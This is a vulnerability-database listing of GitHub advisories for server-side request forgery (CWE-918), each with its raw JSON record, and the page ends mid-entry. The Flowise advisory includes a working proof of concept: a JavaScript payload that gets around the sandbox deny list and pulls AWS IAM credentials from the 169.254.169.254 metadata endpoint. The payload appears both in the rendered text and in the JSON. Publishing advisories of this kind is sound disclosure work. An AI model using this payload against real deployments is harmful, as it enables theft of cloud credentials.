Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5475 vulnerabilities reference this CWE, most recent first.

GHSA-XHJ7-PF22-5X9W

Vulnerability from github – Published: 2023-11-08 00:30 – Updated: 2023-11-15 18:30
VLAI
Details

Local File Inclusion vulnerability in Midori-global Better PDF Exporter for Jira Server and Jira Data Center v.10.3.0 and before allows an attacker to view arbitrary files and cause other impacts via use of crafted image during PDF export.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-42361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-07T22:15:11Z",
    "severity": "HIGH"
  },
  "details": "Local File Inclusion vulnerability in Midori-global Better PDF Exporter for Jira Server and Jira Data Center v.10.3.0 and before allows an attacker to view arbitrary files and cause other impacts via use of crafted image during PDF export.",
  "id": "GHSA-xhj7-pf22-5x9w",
  "modified": "2023-11-15T18:30:21Z",
  "published": "2023-11-08T00:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42361"
    },
    {
      "type": "WEB",
      "url": "https://gccybermonks.com/posts/pdfjira"
    },
    {
      "type": "WEB",
      "url": "https://marketplace.atlassian.com/apps/5167/better-pdf-exporter-for-jira?tab=versions\u0026hosting=datacenter"
    },
    {
      "type": "WEB",
      "url": "https://marketplace.atlassian.com/apps/5167/better-pdf-exporter-for-jira?tab=versions\u0026hosting=server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHJF-FJP3-34R9

Vulnerability from github – Published: 2023-03-25 21:30 – Updated: 2023-03-31 03:30
VLAI
Details

A vulnerability was found in OTCMS 6.72. It has been classified as critical. Affected is the function UseCurl of the file /admin/info_deal.php of the component URL Parameter Handler. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-224016.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-1634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-25T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability was found in OTCMS 6.72. It has been classified as critical. Affected is the function UseCurl of the file /admin/info_deal.php of the component URL Parameter Handler. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-224016.",
  "id": "GHSA-xhjf-fjp3-34r9",
  "modified": "2023-03-31T03:30:31Z",
  "published": "2023-03-25T21:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1634"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BigTiger2020/2023-1/blob/main/ssrf/ssrf.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.224016"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.224016"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHMJ-RG95-44HV

Vulnerability from github – Published: 2026-04-16 21:50 – Updated: 2026-04-27 16:11
VLAI
Summary
Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox
Details

Summary

A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)

Details

The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts

Vulnerable Code - Allowed Built-in Modules (Line 56):

export const defaultAllowBuiltInDep = [
    'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
    'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]

SSRF Protection Implementation (Lines 254-261):

// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch

const defaultNodeVMOptions: any = {
    // ...
    require: {
        builtin: builtinDeps,      // <-- http, https, net allowed here
        mock: secureWrappers       // <-- Only mocks axios, node-fetch
    },
    // ...
}

Root Cause: - The secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LIST - The built-in http, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protection - Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls

Affected File: packages/components/src/utils.ts

Related Files: - packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrappers - packages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript code - packages/server/src/services/nodes/index.ts - Service layer executing the code

PoC

Prerequisites: 1. Flowise instance with HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) 2. Valid API key or authenticated session 3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached

Verify SSRF Protection is enabled (expect a block message by policy)

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}

Response:

{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}

Bypass SSRF Protection using built-in http module

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}

Response:

{
  "Code": "Success",
  "LastUpdated": "2026-01-08T11:30:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-01-08T17:30:00Z"
}

image

image

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass

Who is Impacted: - All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection - Deployments without HTTP_DENY_LIST are already vulnerable to SSRF via any method

Impact Severity: 1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources 2. Scan internal networks, discover services, and identify attack targets 3. Reach databases, admin panels, and other internal APIs that should not be externally accessible

Attack Requirements: - Authentication required (API key or session) - Network access to Flowise instance

Severity
7.1 (High)
CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:50:12Z",
    "nvd_published_at": "2026-04-23T20:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js `http`, `https`, and `net` modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)\n\n### Details\nThe vulnerability exists in the sandbox configuration within `packages/components/src/utils.ts`\n\n**Vulnerable Code - Allowed Built-in Modules (Line 56):**\n```typescript\nexport const defaultAllowBuiltInDep = [\n    \u0027assert\u0027, \u0027buffer\u0027, \u0027crypto\u0027, \u0027events\u0027, \u0027http\u0027, \u0027https\u0027, \u0027net\u0027, \u0027path\u0027, \u0027querystring\u0027, \u0027timers\u0027,\n    \u0027url\u0027, \u0027zlib\u0027, \u0027os\u0027, \u0027stream\u0027, \u0027http2\u0027, \u0027punycode\u0027, \u0027perf_hooks\u0027, \u0027util\u0027, \u0027tls\u0027, \u0027string_decoder\u0027, \u0027dns\u0027, \u0027dgram\u0027\n]\n```\n\n**SSRF Protection Implementation (Lines 254-261):**\n```typescript\n// Only axios and node-fetch are wrapped with SSRF protection\nsecureWrappers[\u0027axios\u0027] = secureAxiosWrapper\nsecureWrappers[\u0027node-fetch\u0027] = secureNodeFetch\n\nconst defaultNodeVMOptions: any = {\n    // ...\n    require: {\n        builtin: builtinDeps,      // \u003c-- http, https, net allowed here\n        mock: secureWrappers       // \u003c-- Only mocks axios, node-fetch\n    },\n    // ...\n}\n```\n\n**Root Cause:**\n- The `secureWrappers` object only contains mocked versions of `axios` and `node-fetch` that enforce `HTTP_DENY_LIST`\n- The built-in `http`, `https`, and `net` modules are passed directly to the sandbox via `builtinDeps` without any SSRF protection\n- Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls\n\n**Affected File:** `packages/components/src/utils.ts`\n\n**Related Files:**\n- `packages/components/src/httpSecurity.ts` - Contains checkDenyList() function only used by axios/node-fetch wrappers\n- `packages/server/src/controllers/nodes/index.ts` - API endpoint accepting user-controlled JavaScript code\n- `packages/server/src/services/nodes/index.ts` - Service layer executing the code\n\n\n\n### PoC\n**Prerequisites:**\n1. Flowise instance with `HTTP_DENY_LIST` configured (e.g., `HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`)\n2. Valid API key or authenticated session\n3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached\n\n**Verify SSRF Protection is enabled (expect a block message by policy)**\n\nRequest:\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: \u003chost\u003e\nContent-Type: application/json\nAuthorization: Bearer \u003capi_key\u003e\n\n{\n  \"javascriptFunction\": \"const axios = require(\u0027axios\u0027); return (await axios.get(\u0027http://169.254.169.254/latest/meta-data/\u0027)).data;\"\n}\n```\n\nResponse:\n\n```json\n{\"statusCode\":500,\"success\":false,\"message\":\"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.\",\"stack\":{}}\n```\n\n**Bypass SSRF Protection using built-in http module**\n\nRequest:\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: \u003chost\u003e\nContent-Type: application/json\nAuthorization: Bearer \u003capi_key\u003e\n\n{\n  \"javascriptFunction\": \"const http = require(\u0027http\u0027); return new Promise((resolve) =\u003e { const tokenReq = http.request({ hostname: \u0027169.254.169.254\u0027, path: \u0027/latest/api/token\u0027, method: \u0027PUT\u0027, headers: { \u0027X-aws-ec2-metadata-token-ttl-seconds\u0027: \u002721600\u0027 } }, (tokenRes) =\u003e { let token = \u0027\u0027; tokenRes.on(\u0027data\u0027, c =\u003e token += c); tokenRes.on(\u0027end\u0027, () =\u003e { const metaReq = http.request({ hostname: \u0027169.254.169.254\u0027, path: \u0027/latest/meta-data/iam/security-credentials/{IAM_Role}\u0027, headers: { \u0027X-aws-ec2-metadata-token\u0027: token } }, (metaRes) =\u003e { let data = \u0027\u0027; metaRes.on(\u0027data\u0027, c =\u003e data += c); metaRes.on(\u0027end\u0027, () =\u003e resolve(data)); }); metaReq.on(\u0027error\u0027, e =\u003e resolve(\u0027meta-error:\u0027 + e.message)); metaReq.end(); }); }); tokenReq.on(\u0027error\u0027, e =\u003e resolve(\u0027token-error:\u0027 + e.message)); tokenReq.end(); });\"\n}\n```\n\nResponse:\n\n```json\n{\n  \"Code\": \"Success\",\n  \"LastUpdated\": \"2026-01-08T11:30:00Z\",\n  \"Type\": \"AWS-HMAC\",\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",\n  \"Expiration\": \"2026-01-08T17:30:00Z\"\n}\n```\n\n\u003cimg width=\"1638\" height=\"751\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ed8b1dfd-516f-4e2b-a4ea-4dd259a8abf6\" /\u003e\n\n\n\u003cimg width=\"1633\" height=\"986\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12f6ecab-96df-42bc-9551-4a005ba6ba77\" /\u003e\n\n\n\n\n\n### Impact\n\n**Vulnerability Type:** Server-Side Request Forgery (SSRF) with security controls bypass\n\n**Who is Impacted:**\n- All Flowise deployments where `HTTP_DENY_LIST` is configured for SSRF protection\n- Deployments without `HTTP_DENY_LIST` are already vulnerable to SSRF via any method\n\n**Impact Severity:**\n1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources\n2. Scan internal networks, discover services, and identify attack targets\n3. Reach databases, admin panels, and other internal APIs that should not be externally accessible\n\n**Attack Requirements:**\n- Authentication required (API key or session)\n- Network access to Flowise instance",
  "id": "GHSA-xhmj-rg95-44hv",
  "modified": "2026-04-27T16:11:06Z",
  "published": "2026-04-16T21:50:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-xhmj-rg95-44hv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41270"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox"
}

GHSA-XHRH-VGGG-Q3RJ

Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-21 21:32
VLAI
Details

Keep (commit 91c75e0) contains a server-side request forgery vulnerability that allows unauthenticated attackers to make the backend issue arbitrary HTTP requests by supplying attacker-controlled host values to the unprotected healthcheck endpoint. Attackers can send a crafted JSON payload with a malicious host parameter to cause the backend to issue outbound requests to internal services or cloud metadata endpoints, enabling theft of cloud credentials and internal network reconnaissance.

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-65057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T21:16:54Z",
    "severity": "CRITICAL"
  },
  "details": "Keep (commit 91c75e0) contains a server-side request forgery vulnerability that allows unauthenticated attackers to make the backend issue arbitrary HTTP requests by supplying attacker-controlled host values to the unprotected healthcheck endpoint. Attackers can send a crafted JSON payload with a malicious host parameter to cause the backend to issue outbound requests to internal services or cloud metadata endpoints, enabling theft of cloud credentials and internal network reconnaissance.",
  "id": "GHSA-xhrh-vggg-q3rj",
  "modified": "2026-07-21T21:32:43Z",
  "published": "2026-07-21T21:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keephq/keep/issues/6630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keephq/keep"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/keep-unauthenticated-server-side-request-forgery-via-post-providers-healthcheck"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XHWM-9486-8RGR

Vulnerability from github – Published: 2026-07-18 15:31 – Updated: 2026-08-19 18:32
VLAI
Details

SurrealDB before 2.2.2 fails to validate HTTP redirects in http functions, allowing authenticated users to bypass deny-net restrictions by redirecting to blocked IP addresses. Attackers can host a public server that redirects to denied network targets, enabling server-side request forgery to access internal endpoints and retrieve sensitive information.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
5.8 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-71398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-18T14:17:11Z",
    "severity": "MODERATE"
  },
  "details": "SurrealDB before 2.2.2 fails to validate HTTP redirects in http functions, allowing authenticated users to bypass deny-net restrictions by redirecting to blocked IP addresses. Attackers can host a public server that redirects to denied network targets, enabling server-side request forgery to access internal endpoints and retrieve sensitive information.",
  "id": "GHSA-xhwm-9486-8rgr",
  "modified": "2026-08-19T18:32:00Z",
  "published": "2026-07-18T15:31:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-5q9x-554g-9jgg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71398"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/surrealdb-before-ssrf-via-http-redirect-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XJ2X-H5M7-W8GV

Vulnerability from github – Published: 2021-12-08 00:01 – Updated: 2021-12-10 00:01
VLAI
Details

An information disclosure via GET request server-side request forgery vulnerability was discovered with the Workplace Search Github Enterprise Server integration. Using this vulnerability, a malicious Workplace Search admin could use the GHES integration to view hosts that might not be publicly accessible.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-37940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-07T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An information disclosure via GET request server-side request forgery vulnerability was discovered with the Workplace Search Github Enterprise Server integration. Using this vulnerability, a malicious Workplace Search admin could use the GHES integration to view hosts that might not be publicly accessible.",
  "id": "GHSA-xj2x-h5m7-w8gv",
  "modified": "2021-12-10T00:01:20Z",
  "published": "2021-12-08T00:01:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37940"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/enterprise-search-7-16-0-security-update/291146"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XJ3J-28FV-MQ6V

Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-10-09 18:30
VLAI
Details

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contain a blind server-side request forgery (SSRF) vulnerability reachable via the /var/www/app/console_release/hp/log_off_single_sign_on.php script that can be exploited by an unauthenticated user. When a printer is registered, the software stores the printer’s host name in the variable $printer_vo->str_host_address. The code later builds a URL like 'http://:80/DevMgmt/DiscoveryTree.xml' and sends the request with curl. No validation, whitelist, or private‑network filtering is performed before the request is made. Because the request is blind, an attacker cannot see the data directly, but can still: probe internal services, trigger internal actions, or gather other intelligence. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-34230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T21:15:36Z",
    "severity": "MODERATE"
  },
  "details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contain a blind server-side request forgery (SSRF) vulnerability reachable via the /var/www/app/console_release/hp/log_off_single_sign_on.php script that can be exploited by an unauthenticated user. When a printer is registered, the software stores the printer\u2019s host name in the variable\u202f$printer_vo-\u003estr_host_address. The code later builds a URL like \u0027http://\u003chost\u2011address\u003e:80/DevMgmt/DiscoveryTree.xml\u0027 and sends the request with curl. No validation, whitelist, or private\u2011network filtering is performed before the request is made.\u00a0Because the request is blind, an attacker cannot see the data directly, but can still: probe internal services, trigger internal actions, or gather other intelligence. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.",
  "id": "GHSA-xj3j-28fv-mq6v",
  "modified": "2025-10-09T18:30:27Z",
  "published": "2025-09-29T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34230"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-ssrf-06"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-ssrf-via-hp-log-off-single-sign-on-php-script"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XJ4R-WHFG-77CR

Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50
VLAI
Details

F5 SSL Intercept iApp 1.5.0 - 1.5.7 and SSL Orchestrator 2.0 is vulnerable to a Server-Side Request Forgery (SSRF) attack when deployed using the Dynamic Domain Bypass (DDB) feature feature plus SNAT Auto Map option for egress traffic.

Severity
7.4 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2017-6130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-06T14:59:00Z",
    "severity": "HIGH"
  },
  "details": "F5 SSL Intercept iApp 1.5.0 - 1.5.7 and SSL Orchestrator 2.0 is vulnerable to a Server-Side Request Forgery (SSRF) attack when deployed using the Dynamic Domain Bypass (DDB) feature feature plus SNAT Auto Map option for egress traffic.",
  "id": "GHSA-xj4r-whfg-77cr",
  "modified": "2022-05-17T02:50:37Z",
  "published": "2022-05-17T02:50:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6130"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K23001529"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJ6V-GR3V-5FPQ

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2025-09-22 21:30
VLAI
Details

A vulnerability was identified in SeriaWei ZKEACMS up to 4.3. This affects the function Edit of the file src/ZKEACMS.EventAction/Controllers/PendingTaskController.cs of the component Event Action System. Such manipulation of the argument Data leads to server-side request forgery. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
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{
  "affected": [],
  "aliases": [
    "CVE-2025-10764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-21T06:15:33Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in SeriaWei ZKEACMS up to 4.3. This affects the function Edit of the file src/ZKEACMS.EventAction/Controllers/PendingTaskController.cs of the component Event Action System. Such manipulation of the argument Data leads to server-side request forgery. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-xj6v-gr3v-5fpq",
  "modified": "2025-09-22T21:30:19Z",
  "published": "2025-09-22T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb021.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.325119"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.325119"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.647629"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XJVC-PW2R-6878

Vulnerability from github – Published: 2026-04-22 20:34 – Updated: 2026-05-13 13:30
VLAI
Summary
Flarum: Path traversal in LESS parser via theme color settings (incomplete fix for CVE-2023-27577)
Details

Summary

Flarum's patch for CVE-2023-27577 restricted the @import and data-uri() LESS features in the custom_less setting, but the same restriction was never applied to other settings registered as LESS config variables (for example theme_primary_color and theme_secondary_color, as well as any key registered via Extend\Settings::registerLessConfigVar()).

Those values are interpolated verbatim into the LESS source at compile time, allowing an authenticated administrator to craft a theme-color value that injects an arbitrary @import directive into the compiled forum.css. Because the underlying LESS parser honours @import (inline) '<path>', an attacker can read arbitrary files reachable by the PHP process (local file inclusion) or trigger outbound HTTP(S) requests (server-side request forgery).

